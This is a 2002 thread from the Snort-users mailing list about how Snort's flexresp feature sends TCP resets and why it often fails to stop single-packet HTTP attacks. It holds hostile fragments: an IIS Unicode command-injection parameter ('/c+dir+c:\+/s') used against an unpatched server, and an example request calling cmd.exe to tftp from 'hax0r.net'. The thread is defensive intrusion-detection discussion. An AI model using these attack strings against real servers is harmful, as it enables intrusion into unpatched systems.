[Snort-users] Snort+flexresp

Ronneil Camara ronneilc at ...4042...
Tue Mar 26 08:30:07 EST 2002


Hi guys,

I've actually implemented this. But I've noticed that it's not quicky.
I'm running it on a FreeBSD-STABLE 4.5. And then I tried to hit one
of our IIS webserver which is not patched, I was able to see a dir listing.

It was successful when I changed my u n i c o d e  parameter as /c+dir+c:\+/s

That's when my session got teared down but I've already seen some of the listings.

On the first one, /c+dir, I can see
my snorts sends a R using tcpdump but was not able to really tear it.

So what would be the appropriate approach now for this?

Thank you very much.

Neil

> -----Original Message-----
> From: Bamm Visscher [mailto:bamm at ...539...]
> Sent: Tuesday, March 26, 2002 7:29 AM
> To: Jeff Nathan
> Cc: Sonika Malhotra; Snort
> Subject: Re: [Snort-users] Snort+flexresp
> 
> 
> Jeff,
> 
> Thanks for the explanation about how flex-resp works. 
> Although to me it
> seems you mixed "how it works" with "when/how to use it" and 
> I disagree
> with some of your assertions. You seem to imply that 
> flex-resp will only
> work with content based signatures. That is where I disagree. For
> example, rules like these:
> 
> alert tcp 192.168.1.1 any <> any any (msg: "LOCAL Attempted 
> session from
> perp."; flags:!R; resp:rst_all;)
> 
> and
> 
> alert tcp any any <> 10.1.1.1 1524 (msg: "LOCAL Attempted session to
> perps backdoor."; flags:!R; resp:rst_all;)
> 
> will attempt kill any session to/from the "bad guy" or his 
> backdoor, and
> as long as the protocol is "reset friendly" (ie ssh, FTP, 
> SMTP, most tcp
> backdoors, etc), it will be very successful.
> 
> Why would anyone use a rule like this? Because in some organizations
> (MSSPs, larger companies, etc), the individuals doing network security
> monitoring aren't necessarily handling the management of the
> firewalls/routers. With flex-resp, the analyst who detect a successful
> compromise can institute some type of "protection" until those
> responsible for the compromised system and/or the engineers 
> responsible
> for FW management can be contacted and they can take the appropriate
> actions.
> 
> Bammkkkk
> 
> On Mon, 2002-03-25 at 18:49, Jeff Nathan wrote:
> > Hi snortees,
> > 
> > I suppose it's time for a little tour of how flexresp is designed to
> > work.
> > 
> > First off, flexresp is not designed to reset new TCP 
> connections to a
> > particular port outright.  It's actually designed to be 
> employed with
> > signatures containing a *pattern* such that when a snort signature
> > matches a packet on the wire a response is generated.
> > 
> > With TCP, calculating ACK numbers is a function of acknowledging the
> > bytes already received by the IP stack as well as any TCP flags that
> > must be acknowledged and then incrementing the ACK number 
> accordingly. 
> > With that said, flexresp won't properly generate a RST for 
> a SYN to a
> > port, or at least it probably won't be accepted by a client IP stack
> > (though there's no accounting for broken IP stacks).  It's just not
> > designed to work that way.
> > 
> > When testing flexresp, your TCP based rules should trigger 
> off packets
> > containing data and not part of the establishment or 
> tearing down of a
> > session.
> > 
> > I hope this helps.
> > 
> > -Jeff
> > 
> > 
> > Bamm Visscher wrote:
> > > 
> > > I apologize for the confusion, I guess I should of 
> elaborated more. I
> > > did not mean to imply content rules do not "work" with 
> flex-resp. You
> > > can create any rule with any option and resp will "work". 
> By "work", I
> > > mean the reset(s)/ICMP error messages will be created by 
> snort and sent
> > > on the wire. The statement I was trying to make is how 
> ineffective flex
> > > response rules can be when used on HTTP traffic. Take the 
> following HTTP
> > > session as an example:
> > > 
> > > attacker:1025 -> target:80 S
> > > attacker:1025 <- target:80 SA
> > > attacker:1025 -> target:80 A
> > > attacker:1025 -> target:80 AP "GET blah/cmd.exe?tftp 
> hax0r.net blah"
> > > attacker:1025 <- target:80 AP <HTML>200 Okay</HTML>
> > > attacker:1025 -> target:80 FA
> > > attacker:1025 <- target:80 A
> > > attacker:1025 -> target:80 FA
> > > attacker:1025 <- tartge:80 A
> > > 
> > > All the important content in this connection is contained 
> in a single
> > > packet (as is often the case with HTTP). In order to 
> effectively reset
> > > this connection, our reset packet has to reach the target 
> box before the
> > > "GET" request. So, using a content based rule probably 
> isn't going to
> > > prevent this attack from working. Matter of fact, try 
> setting up a rule
> > > to reset all web surfing from your IP (alert tcp YOURIP 
> any <> any 80
> > > (msg: "blocking web tfc"; resp:rst_all;)). Now see if you 
> can surf the
> > > web. I tried this a while back with snort-1.8.1 and had 
> no problems
> > > loading most pages. I tried the same thing later with 
> snort-1.8.3 (major
> > > changes to flex-resp) and found that it could sometimes 
> prevent the
> > > pages from loading, but not very often (IIRC. If your 
> tests differ,
> > > please let me know, I have been known to make mistakes). 
> This is no
> > > fault of snort, but a problem with the concept of 
> flex-resp (tcp-reset,
> > > etc) and affects all IDSes that employ it.
> > > 
> > > With that said, I do use flex-resp in a short-term 
> incident containment
> > > mode until long term fixes can be put in place. For 
> example, once an
> > > intrusion has been identified, I will use flex-resp in an 
> effort to
> > > prevent an attacker from doing further damage until the 
> affected system
> > > can be taken off-line or a rule blocking the attacker can 
> be placed in
> > > the FW/router. This often means sending a reset in response to any
> > > packet sent by the source. Another example is using 
> flex-resp to help
> > > prevent the spread of a virus with a content based 
> sigature in snort
> > > until the virus signatures on email scrubbers can be updated.
> > > 
> > > Using flex-resp eats resources, so take the time to find 
> out just how
> > > different protocols work (HTTP, FTP, telnet, etc) and 
> make sure any
> > > flex-resp rules you create, are going to be effective 
> "against" them. If
> > > you want snort to take a more "active" role in preventing 
> intrusions, I
> > > suggest you look into hogwash.
> > > 
> > > Bammkkkk
> > 
> > 
> > 
> > -- 
> > http://jeff.wwti.com            (pgp key available)
> > "Common sense is the collection of prejudices acquired by 
> age eighteen."
> > - Albert Einstein
> > 
> > _______________________________________________
> > Snort-users mailing list
> > Snort-users at lists.sourceforge.net
> > Go to this URL to change user options or unsubscribe:
> > https://lists.sourceforge.net/lists/listinfo/snort-users
> > Snort-users list archive:
> > http://www.geocrawler.com/redir-sf.php3?list=snort-users
> 
> 
> 
> _______________________________________________
> Snort-users mailing list
> Snort-users at lists.sourceforge.net
> Go to this URL to change user options or unsubscribe:
> https://lists.sourceforge.net/lists/listinfo/snort-users
> Snort-users list archive:
> http://www.geocrawler.com/redir-sf.php3?list=snort-users
> 




More information about the Snort-users mailing list